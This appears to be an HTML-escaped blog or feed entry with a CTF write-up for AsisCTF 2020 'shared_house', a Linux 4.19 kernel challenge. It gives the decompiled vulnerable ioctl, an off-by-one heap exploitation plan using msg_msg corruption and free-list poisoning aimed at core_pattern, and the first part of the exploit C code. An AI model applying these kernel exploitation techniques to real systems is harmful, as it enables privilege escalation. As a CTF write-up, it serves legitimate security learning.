&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Since the off-by-one occurs in heap chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and free list.
Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.&lt;/p&gt;
&lt;h3 id=&#34;trigger-off-by-one&#34;&gt;Trigger off-by-one&lt;/h3&gt;
&lt;p&gt;Triggering off-by-one is simple:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_alloc_new_note&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_write_note&lt;/span&gt;(buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);  &lt;span style=&#34;color:#75715e&#34;&gt;// Trigger off-by-one
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;get-controlleduaf-msg_msg-chunk&#34;&gt;Get controlled(UAF) msg_msg chunk&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;struct msg_msg&lt;/code&gt;, the &lt;code&gt;m_list.next&lt;/code&gt; and &lt;code&gt;m_list.prev&lt;/code&gt; exist.
And they are connected with other messages by using double linked list.&lt;/p&gt;
&lt;p&gt;Because we can overwrite 1 byte after our &lt;code&gt;note&lt;/code&gt;, we can overwrite LSB of &lt;code&gt;m_list.next&lt;/code&gt; if the message is located after our &lt;code&gt;note&lt;/code&gt;.
My plain is &amp;ldquo;making dangling pointer in &lt;code&gt;m_list&lt;/code&gt; to free-ed message and make the free-ed chunk become our note.&lt;/p&gt;
&lt;p&gt;For example, initial messages (consider all messages locate consequently):&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| B
	  A --&amp;gt;|prev| E
	
	  B[msg 2] --&amp;gt;|next| C
	  B --&amp;gt;|prev| A
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| B
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;And free middle message (msg 2) via &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1098&#34;&gt;&lt;code&gt;do_msgrcv&lt;/code&gt;&lt;/a&gt; and allocate it as our note:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;Make invalid &lt;code&gt;m_list.next&lt;/code&gt; via triggering off-by-one:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] --&amp;gt;|next| E
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;With this connections, the &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1163&#34;&gt;unlink&lt;/a&gt; of &lt;code&gt;msg 5&lt;/code&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1259&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt; to it make dangling pointer to &lt;code&gt;msg 5&lt;/code&gt; in &lt;code&gt;msg 3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After freeing &lt;code&gt;msg 5&lt;/code&gt;, the allocated note will be have same address with &lt;code&gt;msg 5&lt;/code&gt;.
Then we can make &lt;code&gt;limited_aar&lt;/code&gt; using &lt;code&gt;next&lt;/code&gt; in &lt;code&gt;struct msg_msg&lt;/code&gt;.
The disadventage of &lt;code&gt;limited_aar&lt;/code&gt; is 1. the first 8 bytes must be zeros (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L161&#34;&gt;&lt;code&gt;store_msg&lt;/code&gt;&lt;/a&gt;) 2. the read address will be freed (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L180&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But we can leak the address of &lt;code&gt;msg 5&lt;/code&gt;(UAF chunk) and kernel base only with &lt;code&gt;limited_arr&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;overwrite-free-list-and-allocate-arbitrary-address-via-kmalloc&#34;&gt;Overwrite free list and allocate arbitrary address via &lt;code&gt;kmalloc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk.
Currently the &lt;code&gt;note&lt;/code&gt; (this is same as &lt;code&gt;msg 5&lt;/code&gt;) is freed and thus it has pointer to next free-ed chunk.
So overwriting it with &lt;code&gt;core_pattern&lt;/code&gt; address, allocating serveral chunks and ETC give us the &lt;code&gt;core_pattern&lt;/code&gt; as &lt;code&gt;note&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;code&#34;&gt;Code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;295763184&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;295763184&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;AsisCTF2020Qual-shared_house-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt;= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/note&amp;#34;
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
